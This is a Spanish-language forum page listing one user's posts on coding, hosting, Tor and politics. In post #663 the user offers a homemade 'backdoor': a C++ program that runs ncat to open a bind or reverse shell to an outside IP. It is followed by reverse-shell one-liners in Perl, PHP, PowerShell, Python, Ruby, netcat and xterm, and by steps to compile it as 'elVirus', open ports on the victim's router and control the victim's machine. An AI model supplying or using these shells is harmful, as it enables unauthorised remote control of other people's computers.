Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @XSStringManolo

#661
Es una protección creada por alguien del foro o por Cloudflare?

Por qué está ofuscado el código? Lo ando desofuscando por curiosidad, se puede compartir el código desofuscado?
#662
Cita de: NEBIRE en  2 Abril 2020, 00:35 AM
Fabrícate una funda de plomo... para el móvil.
Cuando necesites cobertura, lo sacas cuando no lo metes. Es irrastreable de ese modo.

Pero claor, apenas lo saques para hacer algo, ya se sabe como mínimo que repetidor tomó la señal, aunque no creo que se hagan rastreos personalizados.

En cualqier caso, siempre se empieza por cosas como éstas... "para un bien social y anonimizado", después cuando la ocasión lo requiera se eleva el asunto.... vamos básicamente primero te untan la vaselina para luego penetrarte a fondo. Es la 'táctica' que usan los políticos...

No hay que olvidar que ahora tenemos al Iglesias metidito en el corral que él quería: policía, militares, * espías. Tiene alma de golpista, se le ve a la legua...
No va a hacer golpe de nada porque lo sacamos a patadas literalmente.

A cerca de las antenas ya están haciendo triangulación. Me están enchufando a 3 antenas distintas en bucle por datos móviles cuando antes solo me conectaban a una. A nada que me mueva ya saben exactamente donde estoy.
#663
No necesitas un PC. Puedes hacerlo en Android sin problemas.

Te dejo un backdoor super sencillo que hice hoy. Voy a ampliarlo y mejorarlo. Lo hice en Android con termux, vim y g++.

Código (cpp) [Seleccionar]
#include <iostream>
#include <string>

using namespace std;

#define PUERTO static_cast<string>("9090")
#define IP static_cast<string>("127.0.0.1")
#define REVERSE_IP static_cast<string>("93.184.216.34")

void BindShell(string);

int main() {

  string comando = "";

  #ifdef __linux__
/* Shell Local */
    BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");

/* Remote Shell */
    BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");

  #else /* Windows */
/* Shell Local */
    BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");

/* Remote Shell */
    BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");

  #endif
  return 0;
}


void BindShell(string command) {

  system(command.c_str());

}


Ahí tienes algunos comandos. Puedes implementarla 100% en C++ u otro lenguaje en lugar de tener dependencias.

También te dejo otras shells en otros lenguajes por si los necesitas:

perl -e 'use SOCKET;$i="93.184.216.34";p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$sock=fsockopen("93.184.216.34",9090);exec("/bin/sh -i <&3 >&3 2>&3");'

$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("93.184.216.34"),9090);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535 | %{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};client.Close()

python -c 'import socket,subprocess,os,s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("93.184.216.34",9090));os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

ruby -rsocket -e'f=TCPSocket.open("93.184.216.34",9090).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc -e /bin/sh 93.184.216.34 9090

xterm -display 93.184.216.34:9090

...


Para compilar con C++ usa g++

Para hacer cross compile, por ejemplo de linux a windows (generar un .exe en linux) te hace falta mingw.

Los comandos que necesitas es algo tipo:
vim codigoBackdoor.cpp

Dentro metes el código.

La tecla i te permite escribir.

Sales del modo escritura con escape.

Sales y guardas con :wq

Después compilas con g++ codigoBackdoor.cpp -o elVirus

Le das permisos de ejecución si los necesitas con chmod +775 elVirus

Ejecuta con ./elVirus

En caso de una shell normal necesitas abrir puertos en el router de la víctima. Yo te puse el puerto 9090 en los ejemplos. Debes abrir ese apuntando a la ip local de la máquina víctima desde el panel del router.

En caso de una shell remota abres los puertos de tu equipo para recibir la conexión.

Puedes usar netcat tanto para conectarte a la víctima:
netcat ipVictima puerto

O netcat para escuchar a la víctima y controlarla.
netcat -l -k ipVictima puerto

Una vez se establece la conexión solo tienes que escribir los comandos.
#664
Detalla los pasos que seguiste durante la instalación para poder ayudarte ya que hay varias formas de hacer lo mismo.
#665
Si vas a subir un proyecto con varias páginas hazte una cuenta en 000.webhostapp.com

Te dan un servidor gratuito para que subas todos tus proyectos. Te recomiendo usar un cliente ftp para subir los archivos.

Si es una página simple, páginas o aplicaciones independientes unas de otras y similar puedes usar blogspot/blogger.

Si es una aplicación standalone que quieres compartir usa jsbin.

Para almacenar todos tus codigos online para no perderlos usa github.

Si quieres compartir un código de forma rápida sin necesidad de crear cuenta usa jsbin o pastebin
#666
No pueden controlar internet ni van a poder nunca. Antes derrotará internet a China que China a internet.
#667
Ya ves, a controlar a todo dios los progresistas :xD
#668
No tienes mucho problema. Utiliza funciones en lugar de todo el código repetido. Ya las tienes usadas en el propio código y tienes muchos ejemplos. Pasa la opción de cada switch por parámetro.

Declaración:
public static void SeleccionarOpcion(int opcion) {

switch (opcion)
...

}

Llamadas:
SeleccionarOpcion(opcion);               


No tiene mucho más. Si tienes dudas chequea ejemplos y tutos.

En los default te sobra el break después. El break se utiliza para escapar del scope/alcance del swtich. Tras el default se sale del cuerpo del switch.

Mas alante tienes una funcion distinta para cada trozo de código similar. En lugar de eso debes declarar una única función y la diferencia que tienes entre ambas la pasas como parámetro. Por ejemplo en lugar de:
sumarUnoYDos();
sumarDosYCuatro();
sumarSieteNueveYVeintiocho();

Haces una única función:
sumar(1, 2);
sumar(2, 4);
sumar(7, 9, 28);

Esto te ahorra código, hace el código más sencillo y utilizas menos memoria, más rápido por el caché, etc.


No te preocupes si no te sale al principio. Recuerdo perfectisamente escribir códigos exactamente iguales a los tuyos. Juega con las funciones y en cuanto las entiendas guay será una de las bases más fuertes en tu estilo de programación.
Solo cuestión de tiempo y programar más y más.
#669
Si publicas el código C# te ayudamos.
#670
apt install -y torbrowser-launcher
torbrowser-launcher

También puedes bajarte Tor directamente y usarlo desde la terminal.